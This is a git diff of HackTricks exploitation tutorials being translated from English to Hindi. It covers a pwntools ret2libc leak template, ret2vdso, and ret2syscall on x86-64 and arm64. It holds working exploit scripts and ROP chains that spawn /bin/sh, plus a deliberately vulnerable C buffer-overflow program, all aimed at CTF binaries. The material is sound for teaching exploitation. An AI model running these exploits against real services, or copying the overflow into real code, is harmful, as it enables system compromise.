||||
### MAIN_PLT = elf.symbols\['main'] not found
|
||||
|
||||
If the "main" symbol does not exist. Then you can find where is the main code:
|
||||
### MAIN_PLT = elf.symbols\['main'] नहीं मिला
|
||||
|
||||
यदि "main" प्रतीक मौजूद नहीं है। तो आप मुख्य कोड कहाँ है, यह पता कर सकते हैं:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
0000000000401080 <.text>:
|
||||
```
|
||||
|
||||
and set the address manually:
|
||||
|
||||
और पते को मैन्युअल रूप से सेट करें:
|
||||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
### Puts नहीं मिला
|
||||
|
||||
### Puts not found
|
||||
यदि बाइनरी Puts का उपयोग नहीं कर रही है, तो आपको यह जांचना चाहिए कि क्या यह उपयोग कर रही है
|
||||
|
||||
If the binary is not using Puts you should check if it is using
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला`
|
||||
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Try to **subtract 64 bytes to the address of "/bin/sh"**:
|
||||
यदि आप **सभी** एक्सप्लॉइट बनाने के बाद यह **त्रुटि** पाते हैं: `sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला`
|
||||
|
||||
तो **"/bin/sh" के पते से 64 बाइट घटाने** का प्रयास करें:
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,11 +1,6 @@
|
||||
# Leaking libc - template
|
||||
# libc लीक करना - टेम्पलेट
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
```python:template.py
|
||||
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
|
||||
|
||||
@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
|
||||
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
|
||||
|
||||
if LOCAL:
|
||||
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
P = process(LOCAL_BIN, env=ENV) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTETTCP:
|
||||
P = remote('10.10.10.10',1339) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
P = remote('10.10.10.10',1339) # start the vuln binary
|
||||
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
|
||||
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
|
||||
|
||||
elif REMOTESSH:
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
elf = ELF(LOCAL_BIN)# Extract data from binary
|
||||
rop = ROP(elf)# Find ROP gadgets
|
||||
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
|
||||
p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
|
||||
elf = ELF(LOCAL_BIN)# Extract data from binary
|
||||
rop = ROP(elf)# Find ROP gadgets
|
||||
|
||||
if GDB and not REMOTETTCP and not REMOTESSH:
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main")
|
||||
# attach gdb and continue
|
||||
# You can set breakpoints, for example "break *main"
|
||||
gdb.attach(P.pid, "b *main")
|
||||
|
||||
|
||||
|
||||
@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
|
||||
|
||||
OFFSET = b"" #b"A"*264
|
||||
if OFFSET == b"":
|
||||
gdb.attach(P.pid, "c") #Attach and continue
|
||||
payload = cyclic(264)
|
||||
payload += b"AAAAAAAA"
|
||||
print(P.clean())
|
||||
P.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
|
||||
P.interactive()
|
||||
exit()
|
||||
gdb.attach(P.pid, "c") #Attach and continue
|
||||
payload = cyclic(264)
|
||||
payload += b"AAAAAAAA"
|
||||
print(P.clean())
|
||||
P.sendline(payload)
|
||||
#x/wx $rsp -- Search for bytes that crashed the application
|
||||
#print(cyclic_find(0x63616171)) # Find the offset of those bytes
|
||||
P.interactive()
|
||||
exit()
|
||||
|
||||
|
||||
|
||||
@ -69,11 +64,11 @@ if OFFSET == b"":
|
||||
### Find Gadgets ###
|
||||
####################
|
||||
try:
|
||||
libc_func = "puts"
|
||||
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
|
||||
libc_func = "puts"
|
||||
PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
|
||||
except:
|
||||
libc_func = "printf"
|
||||
PUTS_PLT = ELF_LOADED.plt['printf']
|
||||
libc_func = "printf"
|
||||
PUTS_PLT = ELF_LOADED.plt['printf']
|
||||
|
||||
MAIN_PLT = ELF_LOADED.symbols['main']
|
||||
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
|
||||
@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
|
||||
########################
|
||||
|
||||
def generate_payload_aligned(rop):
|
||||
payload1 = OFFSET + rop
|
||||
if (len(payload1) % 16) == 0:
|
||||
return payload1
|
||||
payload1 = OFFSET + rop
|
||||
if (len(payload1) % 16) == 0:
|
||||
return payload1
|
||||
|
||||
else:
|
||||
payload2 = OFFSET + p64(RET) + rop
|
||||
if (len(payload2) % 16) == 0:
|
||||
log.info("Payload aligned successfully")
|
||||
return payload2
|
||||
else:
|
||||
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
|
||||
return payload1
|
||||
else:
|
||||
payload2 = OFFSET + p64(RET) + rop
|
||||
if (len(payload2) % 16) == 0:
|
||||
log.info("Payload aligned successfully")
|
||||
return payload2
|
||||
else:
|
||||
log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
|
||||
return payload1
|
||||
|
||||
|
||||
def get_addr(libc_func):
|
||||
FUNC_GOT = ELF_LOADED.got[libc_func]
|
||||
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
rop1 = generate_payload_aligned(rop1)
|
||||
FUNC_GOT = ELF_LOADED.got[libc_func]
|
||||
log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
|
||||
# Create rop chain
|
||||
rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
rop1 = generate_payload_aligned(rop1)
|
||||
|
||||
# Send our rop-chain payload
|
||||
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
|
||||
print(P.clean()) # clean socket buffer (read all and print)
|
||||
P.sendline(rop1)
|
||||
# Send our rop-chain payload
|
||||
#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
|
||||
print(P.clean()) # clean socket buffer (read all and print)
|
||||
P.sendline(rop1)
|
||||
|
||||
# If binary is echoing back the payload, remove that message
|
||||
recieved = P.recvline().strip()
|
||||
if OFFSET[:30] in recieved:
|
||||
recieved = P.recvline().strip()
|
||||
# If binary is echoing back the payload, remove that message
|
||||
recieved = P.recvline().strip()
|
||||
if OFFSET[:30] in recieved:
|
||||
recieved = P.recvline().strip()
|
||||
|
||||
# Parse leaked address
|
||||
log.info(f"Len rop1: {len(rop1)}")
|
||||
leak = u64(recieved.ljust(8, b"\x00"))
|
||||
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
|
||||
# Parse leaked address
|
||||
log.info(f"Len rop1: {len(rop1)}")
|
||||
leak = u64(recieved.ljust(8, b"\x00"))
|
||||
log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
|
||||
|
||||
# Set lib base address
|
||||
if LIBC:
|
||||
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
|
||||
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
|
||||
log.info("LIBC base @ %s" % hex(LIBC.address))
|
||||
# Set lib base address
|
||||
if LIBC:
|
||||
LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
|
||||
print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
|
||||
log.info("LIBC base @ %s" % hex(LIBC.address))
|
||||
|
||||
# If not LIBC yet, stop here
|
||||
else:
|
||||
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
|
||||
P.interactive()
|
||||
# If not LIBC yet, stop here
|
||||
else:
|
||||
print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
|
||||
P.interactive()
|
||||
|
||||
return hex(leak)
|
||||
return hex(leak)
|
||||
|
||||
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
|
||||
|
||||
@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
|
||||
## Via One_gadget (https://github.com/david942j/one_gadget)
|
||||
# gem install one_gadget
|
||||
def get_one_gadgets(libc):
|
||||
import string, subprocess
|
||||
args = ["one_gadget", "-r"]
|
||||
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
|
||||
args += ["-b", libc.hex()]
|
||||
else:
|
||||
args += [libc]
|
||||
try:
|
||||
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
|
||||
except:
|
||||
print("One_gadget isn't installed")
|
||||
one_gadgets = []
|
||||
return
|
||||
import string, subprocess
|
||||
args = ["one_gadget", "-r"]
|
||||
if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
|
||||
args += ["-b", libc.hex()]
|
||||
else:
|
||||
args += [libc]
|
||||
try:
|
||||
one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
|
||||
except:
|
||||
print("One_gadget isn't installed")
|
||||
one_gadgets = []
|
||||
return
|
||||
|
||||
rop2 = b""
|
||||
if USE_ONE_GADGET:
|
||||
one_gadgets = get_one_gadgets(LIBC)
|
||||
if one_gadgets:
|
||||
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
|
||||
one_gadgets = get_one_gadgets(LIBC)
|
||||
if one_gadgets:
|
||||
rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
|
||||
|
||||
## Normal/Long exploitation
|
||||
if not rop2:
|
||||
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
|
||||
SYSTEM = LIBC.sym["system"]
|
||||
EXIT = LIBC.sym["exit"]
|
||||
BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
|
||||
SYSTEM = LIBC.sym["system"]
|
||||
EXIT = LIBC.sym["exit"]
|
||||
|
||||
log.info("POP_RDI %s " % hex(POP_RDI))
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
log.info("exit %s " % hex(EXIT))
|
||||
log.info("POP_RDI %s " % hex(POP_RDI))
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
log.info("exit %s " % hex(EXIT))
|
||||
|
||||
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
|
||||
rop2 = generate_payload_aligned(rop2)
|
||||
rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
|
||||
rop2 = generate_payload_aligned(rop2)
|
||||
|
||||
|
||||
print(P.clean())
|
||||
@ -189,41 +184,30 @@ P.sendline(rop2)
|
||||
|
||||
P.interactive() #Interact with your shell :)
|
||||
```
|
||||
## सामान्य समस्याएँ
|
||||
|
||||
## Common problems
|
||||
|
||||
### MAIN_PLT = elf.symbols\['main'] not found
|
||||
|
||||
If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
|
||||
### MAIN_PLT = elf.symbols\['main'] नहीं मिला
|
||||
|
||||
यदि "main" प्रतीक मौजूद नहीं है (संभवतः क्योंकि यह एक स्ट्रिप्ड बाइनरी है)। तो आप बस यह पता कर सकते हैं कि मुख्य कोड कहाँ है:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
0000000000401080 <.text>:
|
||||
```
|
||||
|
||||
and set the address manually:
|
||||
|
||||
और पते को मैन्युअल रूप से सेट करें:
|
||||
```python
|
||||
MAIN_PLT = 0x401080
|
||||
```
|
||||
### Puts नहीं मिला
|
||||
|
||||
### Puts not found
|
||||
यदि बाइनरी Puts का उपयोग नहीं कर रही है तो आपको **जांच करनी चाहिए कि क्या यह उपयोग कर रही है**
|
||||
|
||||
If the binary is not using Puts you should **check if it is using**
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला`
|
||||
|
||||
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||||
|
||||
Try to **subtract 64 bytes to the address of "/bin/sh"**:
|
||||
यदि आप **सभी** एक्सप्लॉइट बनाने के बाद यह **त्रुटि** पाते हैं: `sh: 1: %s%s%s%s%s%s%s%s: नहीं मिला`
|
||||
|
||||
कोशिश करें कि **"/bin/sh" के पते से 64 बाइट घटाएं**:
|
||||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,10 +4,9 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
|
||||
|
||||
Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
|
||||
vDSO क्षेत्र में **गैजेट्स हो सकते हैं**, जिसका उपयोग उपयोगकर्ता मोड से कर्नेल मोड में बदलने के लिए किया जाता है। इस प्रकार की चुनौतियों में, आमतौर पर vDSO क्षेत्र को डंप करने के लिए एक कर्नेल इमेज प्रदान की जाती है।
|
||||
|
||||
[https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) से उदाहरण लेते हुए, यह देखना संभव है कि vdso अनुभाग को कैसे डंप किया गया और इसे मेज़बान पर कैसे स्थानांतरित किया गया:
|
||||
```bash
|
||||
# Find addresses
|
||||
cat /proc/76/maps
|
||||
@ -33,9 +32,7 @@ echo '<base64-payload>' | base64 -d | gzip -d - > vdso
|
||||
file vdso
|
||||
ROPgadget --binary vdso | grep 'int 0x80'
|
||||
```
|
||||
|
||||
ROP gadgets found:
|
||||
|
||||
ROP गैजेट्स मिले:
|
||||
```python
|
||||
vdso_addr = 0xf7ffc000
|
||||
|
||||
@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
|
||||
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
|
||||
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
> ध्यान दें कि यदि कर्नेल को CONFIG_COMPAT_VDSO के साथ संकलित किया गया है तो **vdso का दुरुपयोग करके ASLR को बायपास करना संभव हो सकता है** क्योंकि vdso पता यादृच्छिक नहीं होगा: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
|
||||
|
||||
### ARM64
|
||||
|
||||
After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
|
||||
kali 2023.2 arm64 में एक बाइनरी के vdso अनुभाग को डंप और जांचने के बाद, मुझे वहां कोई दिलचस्प गैजेट नहीं मिला (स्टैक में मानों से रजिस्टर को नियंत्रित करने का कोई तरीका नहीं या ret के लिए x30 को नियंत्रित करने का कोई तरीका नहीं) **सिवाय SROP को कॉल करने के एक तरीके के**। पृष्ठ के उदाहरण में अधिक जानकारी देखें:
|
||||
|
||||
{{#ref}}
|
||||
srop-sigreturn-oriented-programming/srop-arm64.md
|
||||
|
||||
@ -4,24 +4,23 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions.
|
||||
यह Ret2lib के समान है, हालाँकि, इस मामले में हम किसी पुस्तकालय से एक फ़ंक्शन को कॉल नहीं करेंगे। इस मामले में, सब कुछ `sys_execve` syscall को कुछ तर्कों के साथ `/bin/sh` निष्पादित करने के लिए कॉल करने के लिए तैयार किया जाएगा। यह तकनीक आमतौर पर उन बाइनरी पर की जाती है जो स्थिर रूप से संकलित होती हैं, इसलिए वहाँ कई गैजेट और syscall निर्देश हो सकते हैं।
|
||||
|
||||
In order to prepare the call for the **syscall** it's needed the following configuration:
|
||||
**syscall** के लिए कॉल तैयार करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता है:
|
||||
|
||||
- `rax: 59 Specify sys_execve`
|
||||
- `rdi: ptr to "/bin/sh" specify file to execute`
|
||||
- `rsi: 0 specify no arguments passed`
|
||||
- `rdx: 0 specify no environment variables passed`
|
||||
- `rax: 59 sys_execve निर्दिष्ट करें`
|
||||
- `rdi: ptr to "/bin/sh" फ़ाइल को निष्पादित करने के लिए निर्दिष्ट करें`
|
||||
- `rsi: 0 कोई तर्क नहीं दिया गया`
|
||||
- `rdx: 0 कोई पर्यावरण चर नहीं दिया गया`
|
||||
|
||||
So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area.
|
||||
तो, मूल रूप से, `/bin/sh` को कहीं लिखना आवश्यक है और फिर `syscall` करना है (स्टैक को नियंत्रित करने के लिए आवश्यक पैडिंग के बारे में जागरूक रहना)। इसके लिए, हमें एक गैजेट की आवश्यकता है जो `/bin/sh` को एक ज्ञात क्षेत्र में लिख सके।
|
||||
|
||||
> [!TIP]
|
||||
> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/).
|
||||
> कॉल करने के लिए एक और दिलचस्प syscall **`mprotect`** है जो एक हमलावर को **मेमोरी में एक पृष्ठ की अनुमतियों को संशोधित करने** की अनुमति देगा। इसे [**ret2shellcode**](../../stack-overflow/stack-shellcode/) के साथ जोड़ा जा सकता है।
|
||||
|
||||
## Register gadgets
|
||||
|
||||
Let's start by finding **how to control those registers**:
|
||||
|
||||
आइए **उन रजिस्टरों को नियंत्रित करने के तरीके** को खोजने से शुरू करें:
|
||||
```bash
|
||||
ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x0000000000415664 : pop rax ; ret
|
||||
@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
|
||||
0x00000000004101f3 : pop rsi ; ret
|
||||
0x00000000004498b5 : pop rdx ; ret
|
||||
```
|
||||
इन पते के साथ, **स्टैक में सामग्री लिखना और इसे रजिस्टर में लोड करना संभव है**।
|
||||
|
||||
With these addresses it's possible to **write the content in the stack and load it into the registers**.
|
||||
## स्ट्रिंग लिखें
|
||||
|
||||
## Write string
|
||||
|
||||
### Writable memory
|
||||
|
||||
First you need to find a writable place in the memory
|
||||
### लिखने योग्य मेमोरी
|
||||
|
||||
पहले आपको मेमोरी में एक लिखने योग्य स्थान ढूंढना होगा।
|
||||
```bash
|
||||
gef> vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
@ -46,26 +43,20 @@ Start End Offset Perm Path
|
||||
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
|
||||
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
|
||||
```
|
||||
### मेमोरी में स्ट्रिंग लिखें
|
||||
|
||||
### Write String in memory
|
||||
|
||||
Then you need to find a way to write arbitrary content in this address
|
||||
|
||||
फिर आपको इस पते पर मनचाही सामग्री लिखने का एक तरीका खोजना होगा
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
```
|
||||
### ROP श्रृंखला स्वचालित करें
|
||||
|
||||
### Automate ROP chain
|
||||
|
||||
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
|
||||
|
||||
निम्नलिखित कमांड एक स्थिर बाइनरी के लिए पूर्ण `sys_execve` ROP श्रृंखला बनाता है जब वहाँ write-what-where गैजेट्स और syscall निर्देश होते हैं:
|
||||
```bash
|
||||
ROPgadget --binary vuln --ropchain
|
||||
```
|
||||
|
||||
#### 32 bits
|
||||
|
||||
#### 32 बिट्स
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
@ -87,9 +78,7 @@ rop += popRax
|
||||
rop += p32(0x6b6000 + 4)
|
||||
rop += writeGadget
|
||||
```
|
||||
|
||||
#### 64 bits
|
||||
|
||||
#### 64 बिट्स
|
||||
```python
|
||||
'''
|
||||
Lets write "/bin/sh" to 0x6b6000
|
||||
@ -105,17 +94,15 @@ rop += popRax
|
||||
rop += p64(0x6b6000) # Writable memory
|
||||
rop += writeGadget #Address to: mov qword ptr [rax], rdx
|
||||
```
|
||||
## Gadgets की कमी
|
||||
|
||||
## Lacking Gadgets
|
||||
|
||||
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
|
||||
यदि आप **gadgets की कमी** महसूस कर रहे हैं, उदाहरण के लिए `/bin/sh` को मेमोरी में लिखने के लिए, तो आप स्टैक से सभी रजिस्टर मानों (RIP और params रजिस्टर सहित) को नियंत्रित करने के लिए **SROP तकनीक** का उपयोग कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../srop-sigreturn-oriented-programming/
|
||||
{{#endref}}
|
||||
|
||||
## Exploit Example
|
||||
|
||||
## Exploit उदाहरण
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -182,14 +169,13 @@ target.sendline(payload)
|
||||
|
||||
target.interactive()
|
||||
```
|
||||
|
||||
## Other Examples & References
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
|
||||
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there.
|
||||
- 64 बिट, कोई PIE नहीं, nx, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें।
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
|
||||
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused
|
||||
- 64 बिट, nx, कोई PIE नहीं, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें। स्टैक में लिखने के लिए एक ऐसा फ़ंक्शन जो गणितीय संचालन करता है, का दुरुपयोग किया जाता है।
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.
|
||||
- 64 बिट, कोई PIE नहीं, nx, BF कैनरी, कुछ मेमोरी में `execve` कॉल करने के लिए एक ROP लिखें और वहां कूदें।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,80 +2,73 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Find an introduction to arm64 in:
|
||||
arm64 का परिचय यहाँ खोजें:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code
|
||||
## कोड
|
||||
|
||||
We are going to use the example from the page:
|
||||
हम पृष्ठ से उदाहरण का उपयोग करने जा रहे हैं:
|
||||
|
||||
{{#ref}}
|
||||
../../stack-overflow/ret2win/ret2win-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations!\n");
|
||||
printf("Congratulations!\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile without pie and canary:
|
||||
|
||||
पीआईई और कैनरी के बिना संकलित करें:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector
|
||||
```
|
||||
|
||||
## Gadgets
|
||||
|
||||
In order to prepare the call for the **syscall** it's needed the following configuration:
|
||||
**syscall** के लिए कॉल तैयार करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता है:
|
||||
|
||||
- `x8: 221 Specify sys_execve`
|
||||
- `x0: ptr to "/bin/sh" specify file to execute`
|
||||
- `x1: 0 specify no arguments passed`
|
||||
- `x2: 0 specify no environment variables passed`
|
||||
|
||||
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
|
||||
|
||||
ROPgadget.py का उपयोग करके, मैं मशीन के libc पुस्तकालय में निम्नलिखित गैजेट्स को खोजने में सक्षम था:
|
||||
```armasm
|
||||
;Load x0, x1 and x3 from stack and x5 and call x5
|
||||
0x0000000000114c30:
|
||||
ldp x3, x0, [sp, #8] ;
|
||||
ldp x1, x4, [sp, #0x18] ;
|
||||
ldr x5, [sp, #0x58] ;
|
||||
ldr x2, [sp, #0xe0] ;
|
||||
blr x5
|
||||
ldp x3, x0, [sp, #8] ;
|
||||
ldp x1, x4, [sp, #0x18] ;
|
||||
ldr x5, [sp, #0x58] ;
|
||||
ldr x2, [sp, #0xe0] ;
|
||||
blr x5
|
||||
|
||||
;Move execve syscall (0xdd) to x8 and call it
|
||||
0x00000000000bb97c :
|
||||
nop ;
|
||||
nop ;
|
||||
mov x8, #0xdd ;
|
||||
svc #0
|
||||
nop ;
|
||||
nop ;
|
||||
mov x8, #0xdd ;
|
||||
svc #0
|
||||
```
|
||||
|
||||
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
|
||||
पिछले गैजेट्स के साथ, हम स्टैक से सभी आवश्यक रजिस्टरों को नियंत्रित कर सकते हैं और syscall को कॉल करने के लिए दूसरे गैजेट पर कूदने के लिए x5 का उपयोग कर सकते हैं।
|
||||
|
||||
> [!TIP]
|
||||
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.
|
||||
> ध्यान दें कि libc लाइब्रेरी से इस जानकारी को जानने से ret2libc हमले को भी करना संभव है, लेकिन चलिए इसे इस वर्तमान उदाहरण के लिए उपयोग करते हैं।
|
||||
|
||||
### Exploit
|
||||
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
